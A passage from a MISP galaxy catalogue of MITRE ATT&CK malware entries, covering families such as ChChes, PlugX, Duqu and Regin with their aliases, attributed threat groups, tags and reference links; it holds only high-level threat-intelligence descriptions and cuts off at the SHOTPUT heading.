http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/Dragonfly%20Threat%20Against%20Western%20Energy%20Suppliers.pdf

ChChes

ChChes is a Trojan that appears to be used exclusively by menuPass. It was used to target Japanese organizations in 2016. Its lack of persistence methods suggests it may be intended as a first-stage tool.[[Citation: Palo Alto menuPass Feb 2017]][[Citation: JPCERT ChChes Feb 2017]][[Citation: PWC Cloud Hopper Technical Annex April 2017]]

Aliases: ChChes, Scorpion, HAYMAKER

The tag is: *misp-galaxy:mitre-malware="ChChes"*

ChChes is also known as:

- ChChes
- Scorpion
- HAYMAKER

ChChes has relationships with:

- similar: misp-galaxy:tool="HAYMAKER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="ChChes" with estimative-language:likelihood-probability="likely"

Table 2440. Table References

Links
https://attack.mitre.org/wiki/Software/S0144
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf

http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/
http://blog.jpcert.or.jp/2017/02/chches-malware—93d6.html

Hacking Team UEFI Rootkit

Hacking Team UEFI Rootkit is a rootkit developed by the company Hacking Team as a method of persistence for remote access software.[[Citation: TrendMicro Hacking Team UEFI]]

The tag is: *misp-galaxy:mitre-malware="Hacking Team UEFI Rootkit"*

Table 2441. Table References

Links
https://attack.mitre.org/wiki/Software/S0047
http://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-uses-uefi-bios-rootkit-to-keep-rcs-9-agent-in-target-systems/

HALFBAKED

HALFBAKED is a malware family consisting of multiple components intended to establish persistence in victim networks.[[Citation: FireEye FIN7 April 2017]]

The tag is: *misp-galaxy:mitre-malware="HALFBAKED"*

HALFBAKED has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="HALFBAKED - S0151" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="VB Flash" with estimative-language:likelihood-probability="likely"

Table 2442. Table References

Links
https://attack.mitre.org/wiki/Software/S0151
https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html

httpclient

httpclient is malware used by Putter Panda. It is a simple tool that provides a limited range of functionality, suggesting it is likely used as a second-stage or supplementary/backup tool.[[Citation: CrowdStrike Putter Panda]]

The tag is: *misp-galaxy:mitre-malware="httpclient"*

Table 2443. Table References

Links

https://attack.mitre.org/wiki/Software/S0068
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf

Downdelph

Downdelph is a first-stage downloader written in Delphi that has been used by APT28 in rare instances between 2013 and 2015.[[Citation: ESET Sednit Part 3]]

Aliases: Downdelph, Delphacy

The tag is: *misp-galaxy:mitre-malware="Downdelph"*

Downdelph is also known as:

- Downdelph
- Delphacy

Downdelph has relationships with:

- similar: misp-galaxy:tool="Downdelph" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Downdelph" with estimative-language:likelihood-probability="likely"

Table 2444. Table References

Links
https://attack.mitre.org/wiki/Software/S0134
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf

StreamEx

StreamEx is a malware family that has been used by Deep Panda since at least 2015. In 2016, it was distributed via legitimate compromised Korean websites.[[Citation: Cylance Shell Crew Feb 2017]]

The tag is: *misp-galaxy:mitre-malware="StreamEx"*

StreamEx has relationships with:

- similar: misp-galaxy:tool="StreamEx" with estimative-language:likelihood-probability="likely"

Table 2445. Table References

Links
https://attack.mitre.org/wiki/Software/S0142
https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar

Psylo

Psylo is a shellcode-based Trojan that has been used by Scarlet Mimic. It has similar characteristics as FakeM.[[Citation: Scarlet Mimic Jan 2016]]

The tag is: *misp-galaxy:mitre-malware="Psylo"*

Table 2446. Table References

Links
https://attack.mitre.org/wiki/Software/S0078
http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/

HDoor

HDoor is malware that has been customized and used by the Naikon group.[[Citation: Baumgartner Naikon 2015]]

Aliases: HDoor, Custom HDoor

The tag is: *misp-galaxy:mitre-malware="HDoor"*

HDoor is also known as:

- HDoor
- Custom HDoor

Table 2447. Table References

Links
https://attack.mitre.org/wiki/Software/S0061
https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf

Komplex

is a backdoor that has been used by APT28 on OS X and appears to be developed in a similar manner to XAgentOSX[[Citation: XAgentOSX]][[Citation: Sofacy Komplex Trojan]].

The tag is: *misp-galaxy:mitre-malware="Komplex"*

Komplex has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Komplex - S0162" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Komplex" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="GAMEFISH" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:tool="SOURFACE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="CORESHELL" with estimative-language:likelihood-probability="likely"

Table 2448. Table References

Links
https://attack.mitre.org/wiki/Software/S0162
https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/
https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/

TinyZBot

TinyZBot is a bot written in C# that was developed by Cleaver.[[Citation: Cylance Cleaver]]

The tag is: *misp-galaxy:mitre-malware="TinyZBot"*

TinyZBot has relationships with:

- similar: misp-galaxy:tool="TinyZBot" with estimative-language:likelihood-probability="likely"

Table 2449. Table References

Links
https://attack.mitre.org/wiki/Software/S0004
http://www.cylance.com/assets/Cleaver/Cylance%20Operation%20Cleaver%20Report.pdf

BACKSPACE

BACKSPACE is a backdoor used by APT30 that dates back to at least 2005.[[Citation: FireEye APT30]]

Aliases: BACKSPACE, Lecna

The tag is: *misp-galaxy:mitre-malware="BACKSPACE"*

BACKSPACE is also known as:

- BACKSPACE
- Lecna

BACKSPACE has relationships with:

- similar: misp-galaxy:tool="Backspace" with estimative-language:likelihood-probability="likely"

Table 2450. Table References

Links
https://attack.mitre.org/wiki/Software/S0031
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

PinchDuke

PinchDuke is malware that was used by APT29 from 2008 to 2010.[[Citation: F-Secure The Dukes]]

The tag is: *misp-galaxy:mitre-malware="PinchDuke"*

Table 2451. Table References

Links
https://attack.mitre.org/wiki/Software/S0048
https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf

CloudDuke

CloudDuke is malware that was used by APT29 in 2015.[[Citation: F-Secure The Dukes]][[Citation: Securelist Minidionis July 2015]]

Aliases: CloudDuke, MiniDionis, CloudLook

The tag is: *misp-galaxy:mitre-malware="CloudDuke"*

CloudDuke is also known as:

- CloudDuke
- MiniDionis
- CloudLook

Table 2452. Table References

Links
https://attack.mitre.org/wiki/Software/S0054
https://securelist.com/blog/research/71443/minidionis-one-more-apt-with-a-usage-of-cloud-drives/
https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf

WinMM

WinMM is a full-featured, simple backdoor used by Naikon.[[Citation: Baumgartner Naikon 2015]]

The tag is: *misp-galaxy:mitre-malware="WinMM"*

WinMM has relationships with:

- similar: misp-galaxy:malpedia="WinMM" with estimative-language:likelihood-probability="likely"

Table 2453. Table References

Links

https://attack.mitre.org/wiki/Software/S0059
https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf

MobileOrder

MobileOrder is a Trojan intended to compromise Android mobile devices. It has been used by Scarlet Mimic.[[Citation: Scarlet Mimic Jan 2016]]

The tag is: *misp-galaxy:mitre-malware="MobileOrder"*

Table 2454. Table References

Links
https://attack.mitre.org/wiki/Software/S0079
http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/

Sys10

Sys10 is a backdoor that was used throughout 2013 by Naikon.[[Citation: Baumgartner Naikon 2015]]

The tag is: *misp-galaxy:mitre-malware="Sys10"*

Sys10 has relationships with:

- similar: misp-galaxy:malpedia="Sys10" with estimative-language:likelihood-probability="likely"

Table 2455. Table References

Links
https://attack.mitre.org/wiki/Software/S0060
https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf

Duqu

Duqu is a malware platform that uses a modular approach to extend functionality after deployment within a target network.[[Citation: Symantec W32.Duqu]]

The tag is: *misp-galaxy:mitre-malware="Duqu"*

Duqu has relationships with:

- similar: misp-galaxy:tool="Duqu" with estimative-language:likelihood-probability="likely"

Table 2456. Table References

Links
https://attack.mitre.org/wiki/Software/S0038

https://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/w32%20duqu%20the%20precursor%20to%20the%20next%20stuxnet.pdf

FakeM

FakeM is a shellcode-based Windows backdoor that has been used by Scarlet Mimic.[[Citation: Scarlet Mimic Jan 2016]]

The tag is: *misp-galaxy:mitre-malware="FakeM"*

Table 2457. Table References

Links
https://attack.mitre.org/wiki/Software/S0076
http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/

WINDSHIELD

WINDSHIELD is a signature backdoor used by APT32.[[Citation: FireEye APT32 May 2017]]

The tag is: *misp-galaxy:mitre-malware="WINDSHIELD"*

WINDSHIELD has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="WINDSHIELD - S0155" with estimative-language:likelihood-probability="likely"

Table 2458. Table References

Links
https://attack.mitre.org/wiki/Software/S0155
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html

SHIPSHAPE

SHIPSHAPE is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps.[[Citation: FireEye APT30]]

The tag is: *misp-galaxy:mitre-malware="SHIPSHAPE"*

Table 2459. Table References

Links
https://attack.mitre.org/wiki/Software/S0028
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

T9000

T9000 is a backdoor that is a newer variant of the T5000 malware family, also known as Plat1. Its primary function is to gather information about the victim. It has been used in multiple targeted attacks against U.S.-based organizations.[[Citation: FireEye admin@338 March 2014]][[Citation: Palo Alto T9000 Feb 2016]]

The tag is: *misp-galaxy:mitre-malware="T9000"*

T9000 has relationships with:

- similar: misp-galaxy:tool="T9000" with estimative-language:likelihood-probability="likely"

Table 2460. Table References

Links
https://attack.mitre.org/wiki/Software/S0098
http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/
https://www.fireeye.com/blog/threat-research/2014/03/spear-phishing-the-news-cycle-apt-actors-leverage-interest-in-the-disappearance-of-malaysian-flight-mh-370.html

BS2005

BS2005 is malware that was used by Ke3chang in spearphishing campaigns since at least 2011.[[Citation: Villeneuve et al 2014]]

The tag is: *misp-galaxy:mitre-malware="BS2005"*

BS2005 has relationships with:

- similar: misp-galaxy:tool="Hoardy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="BS2005" with estimative-language:likelihood-probability="likely"

Table 2461. Table References

Links
https://attack.mitre.org/wiki/Software/S0014
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf

WEBC2

WEBC2 is a backdoor used by APT1 to retrieve a Web page from a predetermined C2 server.[[Citation: Mandiant APT1 Appendix]]

The tag is: *misp-galaxy:mitre-malware="WEBC2"*

WEBC2 has relationships with:

- similar: misp-galaxy:tool="WEBC2" with estimative-language:likelihood-probability="likely"

Table 2462. Table References

Links
https://attack.mitre.org/wiki/Software/S0109
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip

PlugX

PlugX is a remote access tool (RAT) that uses modular plugins.[[Citation: Lastline PlugX Analysis]] It has been used by multiple threat groups.[[Citation: FireEye Clandestine Fox Part 2]][[Citation: New DragonOK]][[Citation: Dell TG-3390]]

Aliases: PlugX, Sogu, Kaba

The tag is: *misp-galaxy:mitre-malware="PlugX"*

PlugX is also known as:

- PlugX
- Sogu
- Kaba

PlugX has relationships with:

- similar: misp-galaxy:rat="PlugX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="PlugX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="PlugX" with estimative-language:likelihood-probability="likely"

Table 2463. Table References

Links
https://attack.mitre.org/wiki/Software/S0013
http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/
https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html
http://labs.lastline.com/an-analysis-of-plugx
http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/

POSHSPY

POSHSPY is a backdoor that has been used by APT29 since at least 2015. It appears to be used as a secondary backdoor used if the actors lost access to their primary backdoors.[[Citation: FireEye POSHSPY April 2017]]

The tag is: *misp-galaxy:mitre-malware="POSHSPY"*

POSHSPY has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="POSHSPY - S0150" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="POSHSPY" with estimative-language:likelihood-probability="likely"

Table 2464. Table References

Links
https://attack.mitre.org/wiki/Software/S0150
https://www.fireeye.com/blog/threat-research/2017/03/dissecting%20one%20ofap.html

Misdat

Misdat is a backdoor that was used by Dust Storm from 2010 to 2011.[[Citation: Cylance Dust Storm]]

The tag is: *misp-galaxy:mitre-malware="Misdat"*

Misdat has relationships with:

- similar: misp-galaxy:malpedia="Misdat" with estimative-language:likelihood-probability="likely"

Table 2465. Table References

Links
https://attack.mitre.org/wiki/Software/S0083
https://www.cylance.com/hubfs/2015%20cylance%20website/assets/operation-dust-storm/Op%20Dust%20Storm%20Report.pdf?t=1456259131512

Taidoor

Taidoor is malware that has been used since at least 2010, primarily to target Taiwanese government organizations.[[Citation: TrendMicro Taidoor]]

The tag is: *misp-galaxy:mitre-malware="Taidoor"*

Taidoor has relationships with:

- similar: misp-galaxy:tool="Taidoor" with estimative-language:likelihood-probability="likely"

Table 2466. Table References

Links
https://attack.mitre.org/wiki/Software/S0011
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp%20the%20taidoor%20campaign.pdf

MoonWind

MoonWind is a remote access tool (RAT) that was used in 2016 to target organizations in Thailand.[[Citation: Palo Alto MoonWind March 2017]]

The tag is: *misp-galaxy:mitre-malware="MoonWind"*

MoonWind has relationships with:

- similar: misp-galaxy:rat="MoonWind" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="MoonWind" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="MoonWind" with estimative-language:likelihood-probability="likely"

Table 2467. Table References

Links
https://attack.mitre.org/wiki/Software/S0149
http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/

Crimson

Crimson is malware used as part of a campaign known as Operation Transparent Tribe that targeted Indian diplomatic and military victims.[[Citation: Proofpoint Operation Transparent Tribe March 2016]]

Aliases: Crimson, MSIL/Crimson

The tag is: *misp-galaxy:mitre-malware="Crimson"*

Crimson is also known as:

- Crimson
- MSIL/Crimson

Crimson has relationships with:

- similar: misp-galaxy:rat="Crimson" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Crimson" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Crimson" with estimative-language:likelihood-probability="likely"

Table 2468. Table References

Links
https://attack.mitre.org/wiki/Software/S0115
https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf

Rover

Rover is malware suspected of being used for espionage purposes. It was used in 2015 in a targeted email sent to an Indian Ambassador to Afghanistan.[[Citation: Palo Alto Rover]]

The tag is: *misp-galaxy:mitre-malware="Rover"*

Rover has relationships with:

- similar: misp-galaxy:malpedia="Rover" with estimative-language:likelihood-probability="likely"

Table 2469. Table References

Links
https://attack.mitre.org/wiki/Software/S0090
http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/

ZLib

ZLib is a full-featured backdoor that was used as a second-stage implant by Dust Storm from 2014 to 2015. It is malware and should not be confused with the compression library from which its name is derived.[[Citation: Cylance Dust Storm]]

The tag is: *misp-galaxy:mitre-malware="ZLib"*

Table 2470. Table References

Links
https://attack.mitre.org/wiki/Software/S0086
https://www.cylance.com/hubfs/2015%20cylance%20website/assets/operation-dust-storm/Op%20Dust%20Storm%20Report.pdf?t=1456259131512

PowerDuke

PowerDuke is a backdoor that was used by APT29 in 2016. It has primarily been delivered through Microsoft Word or Excel attachments containing malicious macros.[[Citation: Volexity PowerDuke November 2016]]

The tag is: *misp-galaxy:mitre-malware="PowerDuke"*

PowerDuke has relationships with:

- similar: misp-galaxy:malpedia="PowerDuke" with estimative-language:likelihood-probability="likely"

Table 2471. Table References

Links
https://attack.mitre.org/wiki/Software/S0139
https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/

HTTPBrowser

HTTPBrowser is malware that has been used by several threat groups.[[Citation: ThreatStream Evasion Analysis]][[Citation: Dell TG-3390]] It is believed to be of Chinese origin.[[Citation: ThreatConnect Anthem]]

Aliases: HTTPBrowser, Token Control, HttpDump

The tag is: *misp-galaxy:mitre-malware="HTTPBrowser"*

HTTPBrowser is also known as:

- HTTPBrowser
- Token Control
- HttpDump

HTTPBrowser has relationships with:

- similar: misp-galaxy:tool="HTTPBrowser" with estimative-language:likelihood-probability="likely"

Table 2472. Table References

Links
https://attack.mitre.org/wiki/Software/S0070
https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop
http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/
https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/

HAMMERTOSS

HAMMERTOSS is a backdoor that was used by APT29 in 2015.[[Citation: FireEye APT29]][[Citation: F-Secure The Dukes]]

Aliases: HAMMERTOSS, HammerDuke, NetDuke

The tag is: *misp-galaxy:mitre-malware="HAMMERTOSS"*

HAMMERTOSS is also known as:

- HAMMERTOSS
- HammerDuke
- NetDuke

Table 2473. Table References

Links
https://attack.mitre.org/wiki/Software/S0037
https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf
https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf

PoisonIvy

PoisonIvy is a popular remote access tool (RAT) that has been used by many groups.[[Citation: FireEye Poison Ivy]]

Aliases: PoisonIvy, Poison Ivy

The tag is: *misp-galaxy:mitre-malware="PoisonIvy"*

PoisonIvy is also known as:

- PoisonIvy
- Poison Ivy

PoisonIvy has relationships with:

- similar: misp-galaxy:rat="PoisonIvy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Poison Ivy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Poison Ivy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="poisonivy" with estimative-language:likelihood-probability="likely"

Table 2474. Table References

Links
https://attack.mitre.org/wiki/Software/S0012
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf

Carbanak

Carbanak is a remote backdoor used by a group of the same name (Carbanak). It is intended for espionage, data exfiltration, and providing remote access to infected machines.[[Citation: Kaspersky Carbanak]]

Aliases: Carbanak, Anunak

The tag is: *misp-galaxy:mitre-malware="Carbanak"*

Carbanak is also known as:

- Carbanak
- Anunak

Carbanak has relationships with:

- similar: misp-galaxy:malpedia="Carbanak" with estimative-language:likelihood-probability="likely"

Table 2475. Table References

Links
https://attack.mitre.org/wiki/Software/S0030
https://securelist.com/files/2015/02/Carbanak%20APT%20eng.pdf

Ixeshe

Ixeshe is a malware family that has been used since 2009 to attack targets in East Asia.[[Citation: Moran 2013]]

The tag is: *misp-galaxy:mitre-malware="Ixeshe"*

Table 2476. Table References

Links
https://attack.mitre.org/wiki/Software/S0015
https://www.fireeye.com/blog/threat-research/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html

BADNEWS

BADNEWS is malware that has been used by the actors responsible for the MONSOON campaign. Its name was given due to its use of RSS feeds, forums, and blogs for command and control.[[Citation: Forcepoint Monsoon]]

The tag is: *misp-galaxy:mitre-malware="BADNEWS"*

Table 2477. Table References

Links
https://attack.mitre.org/wiki/Software/S0128

https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf

Flame

Flame is a sophisticated toolkit that has been used to collect information since at least 2010, largely targeting Middle East countries.[[Citation: Kaspersky Flame]]

Aliases: Flame, Flamer, sKyWIper

The tag is: *misp-galaxy:mitre-malware="Flame"*

Flame is also known as:

- Flame
- Flamer
- sKyWIper

Flame has relationships with:

- similar: misp-galaxy:tool="Flame" with estimative-language:likelihood-probability="likely"

Table 2478. Table References

Links
https://attack.mitre.org/wiki/Software/S0143
https://securelist.com/blog/incidents/34344/the-flame-questions-and-answers-51/

RIPTIDE

RIPTIDE is a proxy-aware backdoor used by APT12.[[Citation: Moran 2014]]

The tag is: *misp-galaxy:mitre-malware="RIPTIDE"*

RIPTIDE has relationships with:

- similar: misp-galaxy:tool="Etumbot" with estimative-language:likelihood-probability="likely"

Table 2479. Table References

Links
https://attack.mitre.org/wiki/Software/S0003
https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html

CozyCar

CozyCar is malware that was used by APT29 from 2010 to 2015. It is a modular malware platform, and its backdoor component can be instructed to download and execute a variety of modules with different functionality.[[Citation: F-Secure The Dukes]]

Aliases: CozyCar, CozyDuke, CozyBear, Cozer, EuroAPT

The tag is: *misp-galaxy:mitre-malware="CozyCar"*

CozyCar is also known as:

- CozyCar
- CozyDuke
- CozyBear
- Cozer
- EuroAPT

Table 2480. Table References

Links
https://attack.mitre.org/wiki/Software/S0046
https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf

Mivast

Mivast is a backdoor that has been used by Deep Panda. It was reportedly used in the Anthem breach.[[Citation: Symantec Black Vine]]

The tag is: *misp-galaxy:mitre-malware="Mivast"*

Table 2481. Table References

Links
https://attack.mitre.org/wiki/Software/S0080
http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-black-vine-cyberespionage-group.pdf

Cherry Picker

Cherry Picker is a point of sale (PoS) memory scraper.[[Citation: Trustwave Cherry Picker]]

The tag is: *misp-galaxy:mitre-malware="Cherry Picker"*

Table 2482. Table References

Links
https://attack.mitre.org/wiki/Software/S0107
https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/

XTunnel

XTunnel a VPN-like network proxy tool that can relay traffic between a C2 server and a victim. It was first seen in May 2013 and reportedly used by APT28 during the compromise of the Democratic National Committee.[[Citation: Crowdstrike DNC June 2016]][[Citation: Invincea XTunnel]][[Citation: ESET Sednit Part 2]]

Aliases: XTunnel, X-Tunnel, XAPS

The tag is: *misp-galaxy:mitre-malware="XTunnel"*

XTunnel is also known as:

- XTunnel
- X-Tunnel
- XAPS

XTunnel has relationships with:

- similar: misp-galaxy:tool="X-Tunnel" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="X-Tunnel" with estimative-language:likelihood-probability="likely"

Table 2483. Table References

Links
https://attack.mitre.org/wiki/Software/S0117
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf
https://www.invincea.com/2016/07/tunnel-of-gov-dnc-hack-and-the-russian-xtunnel/
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/

GeminiDuke

GeminiDuke is malware that was used by APT29 from 2009 to 2012.[[Citation: F-Secure The Dukes]]

The tag is: *misp-galaxy:mitre-malware="GeminiDuke"*

GeminiDuke has relationships with:

- similar: misp-galaxy:tool="GeminiDuke" with estimative-language:likelihood-probability="likely"

Table 2484. Table References

Links
https://attack.mitre.org/wiki/Software/S0049
https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf

Sakula

Sakula is a remote access tool (RAT) that first surfaced in 2012 and was used in intrusions throughout 2015.[[Citation: Dell Sakula]]

Aliases: Sakula, Sakurel, VIPER

The tag is: *misp-galaxy:mitre-malware="Sakula"*

Sakula is also known as:

- Sakula
- Sakurel
- VIPER

Sakula has relationships with:

- similar: misp-galaxy:rat="Sakula" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Sakula" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Sakula RAT" with estimative-language:likelihood-probability="likely"

Table 2485. Table References

Links
https://attack.mitre.org/wiki/Software/S0074
http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/

Agent.btz

Agent.btz is a worm that primarily spreads itself via removable devices such as USB drives. It reportedly infected U.S. military networks in 2008.[[Citation: Securelist Agent.btz]]

The tag is: *misp-galaxy:mitre-malware="Agent.btz"*

Table 2486. Table References

Links
https://attack.mitre.org/wiki/Software/S0092
https://securelist.com/blog/virus-watch/58551/agent-btz-a-source-of-inspiration/

Prikormka

Prikormka is a malware family used in a campaign known as Operation Groundbait. It has predominantly been observed in Ukraine and was used as early as 2008.[[Citation: ESET Operation Groundbait]]

The tag is: *misp-galaxy:mitre-malware="Prikormka"*

Prikormka has relationships with:

- similar: misp-galaxy:tool="Prikormka" with estimative-language:likelihood-probability="likely"

Table 2487. Table References

Links
https://attack.mitre.org/wiki/Software/S0113
http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf

NETEAGLE

NETEAGLE is a backdoor developed by APT30 with compile dates as early as 2008. It has two main variants known as “Scout” and “Norton.”[[Citation: FireEye APT30]]

The tag is: *misp-galaxy:mitre-malware="NETEAGLE"*

NETEAGLE has relationships with:

- similar: misp-galaxy:malpedia="NETEAGLE" with estimative-language:likelihood-probability="likely"

Table 2488. Table References

Links
https://attack.mitre.org/wiki/Software/S0034
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

USBStealer

USBStealer is malware that has used by APT28 since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with ADVSTORESHELL.[[Citation: ESET Sednit USBStealer 2014]][[Citation: Kaspersky Sofacy]]

Aliases: USBStealer, USB Stealer, Win32/USBStealer

The tag is: *misp-galaxy:mitre-malware="USBStealer"*

USBStealer is also known as:

- USBStealer
- USB Stealer
- Win32/USBStealer

USBStealer has relationships with:

- similar: misp-galaxy:tool="USBStealer" with estimative-language:likelihood-probability="likely"

Table 2489. Table References

Links
https://attack.mitre.org/wiki/Software/S0136
http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/
https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/

CALENDAR

CALENDAR is malware used by APT1 that mimics legitimate Gmail Calendar traffic.[[Citation: Mandiant APT1]]

The tag is: *misp-galaxy:mitre-malware="CALENDAR"*

CALENDAR has relationships with:

- similar: misp-galaxy:tool="CALENDAR" with estimative-language:likelihood-probability="likely"

Table 2490. Table References

Links
https://attack.mitre.org/wiki/Software/S0025
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

XAgentOSX

is a trojan that has been used by APT28 on OS X and appears to be a port of their standard CHOPSTICK or XAgent trojan.[[Citation: XAgentOSX]]

The tag is: *misp-galaxy:mitre-malware="XAgentOSX"*

XAgentOSX has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="XAgentOSX - S0161" with estimative-language:likelihood-probability="likely"

Table 2491. Table References

Links
https://attack.mitre.org/wiki/Software/S0161
https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/

Regin

Regin is a malware platform that has targeted victims in a range of industries, including telecom, government, and financial institutions. Some Regin timestamps date back to 2003.[[Citation: Kaspersky Regin]]

The tag is: *misp-galaxy:mitre-malware="Regin"*

Regin has relationships with:

- similar: misp-galaxy:tool="Regin" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Regin" with estimative-language:likelihood-probability="likely"

Table 2492. Table References

Links
https://attack.mitre.org/wiki/Software/S0019
https://securelist.com/files/2014/11/Kaspersky%20Lab%20whitepaper%20Regin%20platform%20eng.pdf

AutoIt

AutoIt is a backdoor that has been used by the actors responsible for the MONSOON campaign. The actors frequently used it in weaponized .pps files exploiting CVE-2014-6352.[[Citation: Forcepoint Monsoon]]

The tag is: *misp-galaxy:mitre-malware="AutoIt"*

Table 2493. Table References

Links
https://attack.mitre.org/wiki/Software/S0129
https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf

Pteranodon

Pteranodon is a custom backdoor used by Gamaredon Group.[[Citation: Palo Alto Gamaredon Feb 2017]]

The tag is: *misp-galaxy:mitre-malware="Pteranodon"*

Pteranodon has relationships with:

- similar: misp-galaxy:malpedia="Pteranodon" with estimative-language:likelihood-probability="likely"

Table 2494. Table References

Links
https://attack.mitre.org/wiki/Software/S0147

https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/

RARSTONE

RARSTONE is malware used by the Naikon group that has some characteristics similar to PlugX.[[Citation: Aquino RARSTONE]]

The tag is: *misp-galaxy:mitre-malware="RARSTONE"*

RARSTONE has relationships with:

- similar: misp-galaxy:tool="RARSTONE" with estimative-language:likelihood-probability="likely"

Table 2495. Table References

Links
https://attack.mitre.org/wiki/Software/S0055
http://blog.trendmicro.com/trendlabs-security-intelligence/rarstone-found-in-targeted-attacks/

SHOTPUT

